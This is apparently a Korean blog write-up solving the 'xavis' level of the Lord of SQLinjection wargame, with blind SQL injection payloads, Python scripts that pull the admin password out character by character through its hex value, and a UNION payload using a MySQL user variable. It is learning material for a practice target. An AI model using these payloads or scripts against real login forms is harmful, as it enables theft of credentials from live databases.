필터링 조건 

1) prob, _ . () 

2) regex, like 

3) addslashes

일단, 3번 조건으로 인해 id에 맞는 pw를 자동화코드를 이용하여 풀어야 한다.

또한, like가 필터링 되고 있어서 like _ _ , like a% 등과 같은 문법을 사용할 수 없다.


처음 풀이한 방법은 가장 먼저 이전에 미리 작성해두었던 python 코드로 length(pw), ascii(substring(pw,?,1))를 이용하여 풀었는데 이걸로는 해결되지 않았다. 일단 아스키코드 범위 48번부터 122번까지 값 ( 0 ~ z) 중에 pw에 해당하는 것은 하나도 없었다. 그래서 이 범위의 값이 아닌 다른 문자라고 생각을 하다가 힌트를 보니 한글이라고 했다!! 

그래서 한글의 유니코드 값을 구글링해보니 한글코드 범위 {AC00-D7AF} 라는 것을 파악하고 그럼 hex값으로 먼저 찾아야겠다라는 생각을 했다.


자동화코드를 짜기에 앞서 제대로 쿼리문을 작성해 잘 동작하는지 부터 확인했다.

싱글쿼터의 필터링이 없으니 이렇게 짤 수 있을 것 같다.

payload : pw= ' or id = 'admin' and ascii(substring(123,1,1))=49# '

전체 쿼리문이

where id='admin' and pw='' or id = 'admin' and ascii(substring(123,1,1))=49# '

pw는 모르니까  id = 'admin' and pw= ' '  (false)그 다음에 오는 id = 'admin' 이 or과 연결됨으로 인해 (true)

그 뒤에는 and 로 연결되기 때문에  ascii(substring(123,1,1))=49 가 참이면 참이 되고 거짓이면 거짓이 되는 blind injection이 가능하다.

 그리고 마지막에 존재하는 싱글쿼터는 %23(#) 주석처리로 무력화

잘 동작하는 것 확인 후

 

1) pw 길이 찾기

def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' or id= 'admin' and length(hex(pw))={} #".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

length(hex(pw)) 로 pw를 16진수화한 길이 찾기

2) pw 찾기

#패스워드 한글자씩 찾기
def pw_real(len_num):
    pw=''
    #for i in range(1,len_num+1):
     #   print(i,"번째 검색 중")

    for i in range(1,len_num+1):
        for j in range(48, 122):  #아스키코드값 48번부터 122번
            value = "' or id= 'admin' and ascii(substring(hex(pw),{},1))={}#".format(i,j)           #injection payload 
            print (value)
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            #print (j)
                        

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

pw= 한글 그 어떤 것..뭔지 모름 → hex(pw) 16진수화하기 → substring()함수로 16진수 첫글자씩 찾기 → ascii(substring(hex(pw))) 16진수 문자 ascii전환하여 확인하기

pw = 0000C6B00000C6550000AD73 

이 hex값을 가지고 한글로 변환하기

0000_C6B0 0000_C655 0000_AD73 총 3글자인 것 같다..

https://jjeong.tistory.com/696

 

유니코드(UTF-8) 한글 코드표, 한글코드 범위 {AC00-D7AF}

유니코드(UTF-8) 한글 코드표, 한글코드 범위 {AC00-D7AF} U+AC00 to U+AD00 0 1 2 3 4 5 6 7 8 9 A B C D E F UTF8: 234, 176, 128; UNICODE: AC0 가 각 갂 갃 간 갅 갆 갇 갈 갉 갊 갋 갌 갍 갎 갏 UTF8: 234, 176, 144; UNICODE: AC1 감

jjeong.tistory.com

위 유니코드표를 통해 한글을 찾으면 " 우 왕 굳" 이 된다...

 


이 외에 다른 방법도 존재하는데..

그냥 패스워드의 길이를 찾으면

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' or id= 'admin' and length(pw)={} #".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            #print (response.text)
            print("password length : ", len_num)
            break
    return len_num

원래는 pw 길이가 12인데 이게 답이 한글이라고 힌트를 얻고나서 보면
영문, 숫자, 비트는 모두 1byte인데, 한글이 2byte라고 생각을 하니
원래 pw 길이가 12이므로 한글로 변환하면 길이가 6이 된다.

그러면 한글 1개 글자당 2byte이므로 2x3 = 6 총 3글자가 된다.

3글자로 유추했으니 LIKE_ _ _ 로 유추할 수 있지만.. LIKE가 필터링되기 때문에 이건 불가능함.


 

또 다른 방법이 존재한다.

이 방법은 MYSQL 버전에 따라 다르고, MYSQL 이 아니라면 불가능하고 .. 여러 조건이 따르지만 공부하고자 작성하려 한다.

mysql 에서 변수를 이용하는 것인데..  쿼리문에 사용자 정의 변수를 선언하는 것이다.

SET @변수명 = 대입값;

SELECT @변수명 := 대입값;

SET을 사용할 때는  = , SELECT를 사용할 때는 :=  사용한다는 점에서 차이가 있다.

사용법에 대한 예시는 다음과 같다.

start라는 변수와 end 라는 변수를 사용하여 id를 검색할 조건을 지정한 후 rev 값을 조회한다.

결과는 잘 나온다.

이처럼 select @변수명:= 값 문법을 이용하여 해결하고자 한다.

payload :  pw = ' ' or id = 'admin' and (select @a:=pw) union select @a # '

select @a:= pw

a라는 변수에 우리가 찾아야 하는 pw 값을 넣어주면 사용자 정의 변수 a를 이용하여 해결하는 문제이다.

여기서 끝나는 게 아니라 

union select @a

union 연산자를 이용하여 

[ select id from prob_xavis where id='admin' and pw='' or id ='admin' and (select @a:=pw) ] union select @a #'

맨 앞 select 문과 select @a 쿼리의 결과를 합쳐준다. 

실행 쿼리에 있는 id의 값이 hello 뒤에 오는데 사실은 union을 이용하면 [ admin,  pw값 ] 둘다 결합되는거지만 결과 배열의 마지막 값인 pw값이 반환되게 된다.

 

좀더 정확한 쿼리를 만들기 위해 여러 시도를 하다가

or 다음에 오는 id='admin'이라는 조건을 제거 후 변수를 이용하여 쿼리를 돌렸더니 쓰레기값인 줄 알았는데 기본적으로 조건을 안 걸어주면 해당 데이터베이스에 첫번째 행의 값이 나온다. 첫번째 행은 대부분 guest 

guest의 pw가 맞았다....

where id = 'admin'으로 조건을 확실히 걸어주니 정확한 패스워드를 찾을 수 있었다!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step21. iron_golem 풀이  (1) 2023.06.19
[LOS] step20. dragon 풀이  (1) 2023.06.15
[LOS] step18. nightmare 풀이  (0) 2023.06.14
[LOS] step17. zombie_assassin 풀이  (0) 2023.06.14
[LOS] step16. SUCCUBUS 풀이  (0) 2023.06.14

+ Recent posts